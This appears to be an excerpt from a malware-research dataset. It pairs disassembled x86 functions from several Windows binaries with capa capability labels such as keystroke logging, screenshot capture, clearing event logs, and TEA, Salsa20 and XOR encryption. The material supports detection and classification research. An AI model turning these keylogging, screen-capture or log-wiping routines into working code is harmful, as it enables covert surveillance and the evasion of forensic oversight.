joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437354
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x437385
je 0x4373df
sub eax, 7
je 0x4373a6
dec eax
je 0x4373d0
sub eax, 0x17
je 0x437484
jmp 0x4374c2
add eax, 0xffffff00
sub eax, 9
jb 0x437470
add eax, 0xffffff09
sub eax, 0xb
jb 0x437438
jmp 0x4374c2
mov eax, ebx
call fcn.0041e440
mov edi, eax
test edi, edi
je 0x437522
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x43752b
jmp 0x437522
test byte [ebx + 0x44], 0x20
jne 0x43752b
jmp 0x437522
mov edx, esi
mov eax, ebx
call fcn.00434a20
cmp dword [esi + 0xc], 0xffffffff
jne 0x43752b
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.004067dc
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.0043356c
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.0043722c
test eax, eax
je 0x43752b
mov dword [esi + 0xc], 1
jmp 0x43752b
mov edx, esi
mov eax, ebx
call fcn.004372c0
test al, al
je 0x437522
cmp dword [esi + 0xc], 0
jne 0x43752b
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.004399bc
push eax
call sub.user32.dll_DefWindowProcA
jmp 0x43752b
mov eax, ebx
call fcn.004340bc
test al, al
jne 0x43752b
jmp 0x437522
mov eax, ebx
call fcn.004399bc
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x437522
cmp dword [0x4408d8], 0
je 0x437522
mov eax, dword [0x4408d8]
cmp ebx, dword [eax + 0x24]
jne 0x437522
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x4408d8]
call fcn.00434954
jmp 0x437522
mov eax, dword [0x441780]
cmp byte [eax + 0x20], 0
je 0x437522
mov eax, dword [0x441780]
cmp dword [eax + 0x1c], 0
je 0x437522
mov eax, dword [esi]
mov edx, dword [0x441780]
cmp eax, dword [edx + 0x1c]
jne 0x437522
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.0041e384
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00402e20
jmp 0x43752b
mov edx, esi
mov eax, ebx
call fcn.00434a20
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4379ec
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x437a08
cmp dword [esi + 4], 0
je 0x437a35
test byte [ebx + 0x45], 1
jne 0x437a27
mov eax, ebx
call fcn.00436990
test eax, eax
jne 0x437a27
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x437b45
mov edx, esi
mov eax, ebx
call fcn.00437664
jmp 0x437b45
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x437b3e
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004399bc
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00434954
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004379ec
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004399bc
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x437b45
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43e4b4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00403cf8
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x43e4cd
test al, 0x10
jne 0x43e4d1
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x43f7ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
mov dword [ebp - 4], eax
lea eax, [ebp - 0x104]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x104]
call fcn.00407ef4
mov esp, ebp
pop ebp
ret
Function at 0x43fa50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x43fa58
push ecx
mov eax, 0x43f900
call fcn.00405ec4
xor eax, eax
push ebp
push 0x43fcd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x440e24]
mov eax, dword [eax]
call fcn.00426900
mov eax, dword [0x440e24]
mov eax, dword [eax]
mov edx, 0x43fcec
call fcn.0042651c
lea eax, [ebp - 0x10]
call fcn.0043f7ec
push dword [ebp - 0x10]
push 0x43fd08
push 0x43fcec
mov eax, 0x4418c8
mov edx, 3
call fcn.00403bf4
mov eax, dword [0x4418c8]
call fcn.0043e4d8
lea edx, [ebp - 0x14]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x14]
mov edx, 0x43fd18
call fcn.00403b3c
mov ecx, dword [ebp - 0x14]
mov edx, 0x43fd34
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x18]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x18]
mov edx, 0x43fd54
call fcn.00403b3c
mov ecx, dword [ebp - 0x18]
mov edx, 0x43fd70
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x1c]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x1c]
mov edx, 0x43fd80
call fcn.00403b3c
mov ecx, dword [ebp - 0x1c]
mov edx, 0x43fd98
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x20]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x20]
mov edx, 0x43fda8
call fcn.00403b3c
mov ecx, dword [ebp - 0x20]
mov edx, 0x43fdc0
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x24]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x24]
mov edx, 0x43fdd0
call fcn.00403b3c
mov ecx, dword [ebp - 0x24]
mov edx, 0x43fde4
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x28]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x28]
mov edx, 0x43fdf4
call fcn.00403b3c
mov ecx, dword [ebp - 0x28]
mov edx, 0x43fe08
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x2c]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x2c]
mov edx, 0x43fe18
call fcn.00403b3c
mov ecx, dword [ebp - 0x2c]
mov edx, 0x43fe2c
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x30]
mov eax, dword [0x4418c8]
call fcn.0043f75c
lea eax, [ebp - 0x30]
mov edx, 0x43fe3c
call fcn.00403b3c
mov ecx, dword [ebp - 0x30]
mov edx, 0x43fe50
mov eax, 0x43fd44
call fcn.0043f81c
lea edx, [ebp - 0x34]
mov eax, dword [0x4418c8]
call fcn.0043f75c
mov edx, dword [ebp - 0x34]
mov eax, dword [0x440f24]
mov ecx, 0x43fe18
call fcn.00403b80
lea edx, [ebp - 0x38]
mov eax, dword [0x4418c8]
call fcn.0043f75c
mov edx, dword [ebp - 0x38]
mov eax, dword [0x440e3c]
mov ecx, 0x43fe60
call fcn.00403b80
call fcn.0043eec0
lea edx, [ebp - 0x3c]
mov eax, dword [0x4418c8]
call fcn.0043f75c
mov edx, dword [ebp - 0x3c]
mov eax, 0x4418cc
mov ecx, 0x43fe60
call fcn.00403b80
push 5
mov eax, dword [0x4418c8]
call fcn.00403cf8
push eax
push 0x43fe6c
mov eax, dword [0x4418cc]
call fcn.00403cf8
push eax
push 0x43fe70
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [0x440e24]
mov eax, dword [eax]
call fcn.00426918
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43fcdc
lea eax, [ebp - 0x3c]
mov edx, 0xc
call fcn.004038d8
ret
Function at 0x403b07
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42a310]
mov edx, dword [edi]
mov ecx, dword [edi + 4]
and dword [ebp - 8], 0
mov dword [ebp - 0x24], eax
mov eax, dword [0x42a314]
push ebx
mov dword [ebp - 0x20], eax
push esi
lea eax, [ebp - 8]
mov dword [ebp - 0xc], edx
call fcn.00403b00
mov eax, dword [0x42a318]
mov esi, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov eax, dword [str._rLG]
add esi, 0x23f
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, edx
shl eax, 4
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x281aac4]
cmp eax, 0xfa9
jne 0x403b7f
mov dword [0x281aac0], 0xedeb2e40
cmp eax, 0x3eb
jne 0x403b8d
and dword [0x281a54c], 0
mov eax, dword [ebp - 0xc]
shr eax, 5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x18]
lea ebx, [esi + edx]
xor eax, ebx
xor eax, dword [ebp - 0x1c]
mov dword [0x281aabc], 0xf4ea3dee
sub ecx, eax
mov eax, ecx
shr eax, 5
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, ecx
shl eax, 4
add eax, dword [ebp - 0x24]
lea ebx, [esi + ecx]
xor eax, ebx
xor eax, dword [ebp - 4]
add esi, 0x61c88647
sub edx, eax
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], edx
jne 0x403b53
pop esi
mov dword [edi], edx
mov dword [edi + 4], ecx
pop ebx
leave
ret

Function at 0x403beb
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000
call fcn.00411410
mov eax, dword [0x281aac4]
mov ecx, dword [0x281a550]
push esi
shr eax, 3
xor esi, esi
cmp eax, esi
jbe 0x403cc0
push ebx
push edi
mov edi, ecx
mov ebx, eax
cmp dword [0x281aac4], 0x959
jne 0x403caf
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
push esi
lea eax, [ebp - 0x1000]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push 0x403748
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0x403794
push esi
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0x4037c0
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push esi
lea eax, [ebp - 0x400]
push eax
push esi
push 0x4037dc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call fcn.00403b07
add edi, 8
dec ebx
jne 0x403c17
pop edi
pop ebx
pop esi
leave
ret
Function at 0x403f5e
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x404
push ebx
push esi
xor esi, esi
cmp dword [0x281aac4], 0x400
push edi
jne 0x404040
push esi
call dword [sym.imp.USER32.dll_WindowFromDC]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0x403a04
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawStateA]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push esi
call fcn.00404d30
push esi
push esi
call fcn.00404669
push esi
call fcn.00404cb5
add esp, 0x14
push esi
call fcn.00404f99
fldz
sub esp, 0xc
fst qword [esp + 8]
fstp qword [esp]
call fcn.004042e0
add esp, 8
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404320
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004047b0
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404450
fstp st(0)
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404a00
fstp st(0)
push esi
call fcn.0040500d
add esp, 0xc
push esi
push esi
call fcn.0040456d
push esi
call fcn.00404ddd
add esp, 0xc
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthI]
xor edi, edi
cmp edi, 0xacd
jge 0x404066
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
push esi
push esi
push esi
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x45be410
jg 0x404088
inc edi
cmp edi, 0x33309e9
jl 0x404048
xor edi, edi
cmp edi, 0x16d2a
jge 0x404099
push esi
push esi
push esi
push esi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp edi, 0x12e82fe
jg 0x4040b7
inc edi
cmp edi, 0x3011b
jl 0x40408a
mov eax, dword [0x42cc54]
mov dword [0x281aac4], eax
call fcn.00403cc3
mov edi, 0x2ec37
cmp dword [0x281aac4], 0x51f
jne 0x4040e3
push esi
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
dec edi
jne 0x4040cb
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4071cb
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4297c4]
jne 0x4071d5
repz ret
jmp fcn.0040c0bc
Function at 0x4104c1
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4297c4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405bd9
and dword [ebp - 0x14], 0
cmp dword [0x437ab0], 0
mov dword [ebp - 0x18], eax
jne 0x410574
push 0x4036f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41061c
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4036e8
push ebx
call edi
test eax, eax
je 0x41061c
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4036d8
push ebx
mov dword [0x437ab0], eax
call edi
push eax
call esi
push 0x4036c4
push ebx
mov dword [0x437ab4], eax
call edi
push eax
call esi
push 0x4036a8
push ebx
mov dword [0x437ab8], eax
call edi
push eax
call esi
mov dword [0x437ac0], eax
test eax, eax
je 0x410574
push 0x403690
push ebx
call edi
push eax
call esi
mov dword [0x437abc], eax
mov eax, dword [0x437abc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4105cd
cmp dword [0x437ac0], ecx
je 0x4105cd
push eax
call esi
push dword [0x437ac0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4105cd
test ebx, ebx
je 0x4105cd
call edi
test eax, eax
je 0x4105c4
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4105c4
test byte [ebp - 8], 1
jne 0x4105cd
or dword [ebp + 0x10], 0x200000
jmp 0x410600
mov eax, dword [0x437ab4]
cmp eax, dword [ebp - 0x18]
je 0x410600
push eax
call esi
test eax, eax
je 0x410600
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x410600
mov eax, dword [0x437ab8]
cmp eax, dword [ebp - 0x18]
je 0x410600
push eax
call esi
test eax, eax
je 0x410600
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x437ab0]
call esi
test eax, eax
je 0x41061c
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41061e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004071cb
leave
ret
Function at 0x401580
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [0x8b5030]
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
xor ebp, ebp
xor eax, eax
test ecx, ecx
jle 0x4015b4
lea esi, [edx + ebp]
mov ecx, dword [edi]
mov bl, byte [esi]
xor byte [ecx + eax], bl
add ecx, eax
mov ecx, dword [0x8b5030]
inc eax
add esi, 4
cmp eax, ecx
jl 0x40159d
inc ebp
add edi, 4
cmp ebp, 4
jl 0x401594
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x401630
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
push edi
sub ecx, eax
sub esi, eax
mov edi, 4
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor dl, bl
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x401648
pop edi
pop esi
pop ebx
ret

Function at 0x401840
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x14]
test edi, edi
jbe 0x40186b
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 8]
push ebx
push esi
mov esi, dword [esp + 0x18]
sub ecx, eax
sub esi, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor dl, bl
mov byte [esi + eax], dl
inc eax
dec edi
jne 0x40185b
pop esi
pop ebx
pop edi
ret
Function at 0x4024d0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
lea edi, [ebx + 0x44]
mov ecx, 8
mov esi, ebp
push str.expand_32_byte_k
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x20]
lea edi, [ebx + 0x64]
mov eax, esi
mov ecx, edi
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov eax, dword [eax + 8]
mov dword [ecx + 8], eax
call fcn.00402600
push 0x8b5044
mov dword [ebx + 0x74], eax
call fcn.00402600
push 0x8b5048
mov dword [ebx + 0x78], eax
call fcn.00402600
push 0x8b504c
mov dword [ebx + 0x7c], eax
call fcn.00402600
push ebp
mov dword [ebx + 0x80], eax
call fcn.00402600
lea ecx, [ebp + 4]
mov dword [ebx + 0x84], eax
push ecx
call fcn.00402600
lea edx, [ebp + 8]
mov dword [ebx + 0x88], eax
push edx
call fcn.00402600
mov dword [ebx + 0x8c], eax
lea eax, [ebp + 0xc]
push eax
call fcn.00402600
lea ecx, [ebp + 0x10]
mov dword [ebx + 0x90], eax
push ecx
call fcn.00402600
lea edx, [ebp + 0x14]
mov dword [ebx + 0x94], eax
push edx
call fcn.00402600
mov dword [ebx + 0x98], eax
lea eax, [ebp + 0x18]
push eax
call fcn.00402600
add ebp, 0x1c
mov dword [ebx + 0x9c], eax
push ebp
call fcn.00402600
push esi
mov dword [ebx + 0xa0], eax
mov dword [ebx + 0xa4], 0
call fcn.00402600
lea ecx, [esi + 4]
mov dword [ebx + 0xa8], eax
push ecx
call fcn.00402600
lea edx, [esi + 8]
mov dword [ebx + 0xac], eax
push edx
call fcn.00402600
mov dword [ebx + 0xb0], eax
mov eax, dword [esi]
mov dword [edi], eax
mov ecx, dword [esi + 4]
mov dword [edi + 4], ecx
mov edx, dword [esi + 8]
add esp, 0x3c
mov dword [edi + 8], edx
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x820520
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
cmp word [ecx], 0x5a4d
jne 0x82053c
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x82053c
mov eax, dword [eax + 0x28]
ret
xor eax, eax
ret

Function at 0x821140
Capabilities:
Get file size

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x81
xor eax, eax
lea edi, [esp + 0x1e]
mov word [esp + 0x1c], bp
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, dword [esp + 0x228]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.00830459
lea edx, [esp + 0x24]
push 0x8c48a0
push edx
call fcn.0083042f
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
xor edi, edi
push ebp
push 0x80
push 3
push ebp
push 1
lea eax, [esp + 0x30]
push 0xa0000000
push eax
call dword [0x8c6930]
mov esi, eax
cmp esi, 0xffffffff
jne 0x8211ce
push 0xbb8
call ebx
inc edi
cmp edi, 0x3c
jl 0x821190
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
mov dword [esp + 0x14], ebp
push edi
mov dword [esp + 0x1c], edi
call fcn.0082fdf8
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
push ebp
push ecx
push edi
push ebx
push esi
call dword [0x8c6924]
test eax, eax
je 0x82126c
mov edx, dword [esp + 0x14]
or edi, 0xffffffff
xor eax, eax
cmp edx, 0x100
jbe 0x821268
mov cl, byte [ebx]
cmp cl, 0x4d
jne 0x821223
cmp byte [ebx + 1], 0x5a
jne 0x821223
mov ebp, 1
xor edi, edi
cmp cl, 0xd0
jne 0x82123a
cmp byte [ebx + 1], 0xcf
jne 0x82123a
cmp byte [ebx + 2], 0x11
jne 0x82123a
cmp byte [ebx + 3], 0xe0
je 0x821268
test edi, edi
jne 0x821254
push edx
push ebx
call fcn.00820520
add esp, 8
xor edx, edx
cmp eax, 0x1000
sete dl
mov eax, edx
test ebp, ebp
je 0x821268
test eax, eax
je 0x821268
test edi, edi
jne 0x821268
mov dword [esp + 0x10], 1
mov edi, dword [esp + 0x18]
mov ecx, edi
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push ebx
and ecx, 3
rep stosb byte es:[edi], al
call fcn.0082fdb0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret
Function at 0x826bb0
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x18], ecx
mov dword [eax + 0x14], ecx
ret
Function at 0x8356e9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x8b8290
cmp edx, dword [eax]
je 0x83570b
add eax, 8
inc ecx
cmp eax, 0x8b8320
jl 0x8356fc
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x8b8290]
jne 0x835839
mov eax, dword [0x8c6130]
cmp eax, 1
je 0x835813
test eax, eax
jne 0x83573c
cmp dword [0x8b79b4], 1
je 0x835813
cmp edx, 0xfc
je 0x835839
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x835773
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00832be0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00832cd0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x8357b6
lea eax, [ebp - 0x1a4]
push eax
call fcn.00832cd0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x8b1d88
push edi
call fcn.008310b0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00832be0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00832bf0
lea eax, [ebp - 0xa0]
push 0x8b1d68
push eax
call fcn.00832bf0
push dword [esi + 0x8b8294]
lea eax, [ebp - 0xa0]
push eax
call fcn.00832bf0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0083730d
add esp, 0x2c
pop edi
jmp 0x835839
lea eax, [ebp + 8]
lea esi, [esi + 0x8b8294]
push 0
push eax
push dword [esi]
call fcn.00832cd0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x83d200
Capabilities:
Initialize winsock library

Disassembly:
mov al, byte [esp + 4]
sub esp, 0x190
test al, 2
je 0x83d251
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x83d22e
mov eax, 2
add esp, 0x190
ret
mov ax, word [esp]
cmp al, 2
jne 0x83d23f
xor ecx, ecx
mov cl, ah
cmp cl, al
je 0x83d251
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
add esp, 0x190
ret
call fcn.0084fc90
test eax, eax
jne 0x83d2ad
push str.iphlpapi.dll
call fcn.0083d460
add esp, 4
mov dword [0x8c6558], eax
test eax, eax
je 0x83d285
push str.if_nametoindex
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x83d285
mov dword [0x8c655c], eax
push 3
push 2
push 0
push 6
call fcn.0083d300
add esp, 0x10
neg eax
sbb eax, eax
push 0x8c7ce0
neg eax
mov dword [0x8c7ce8], eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor eax, eax
add esp, 0x190
ret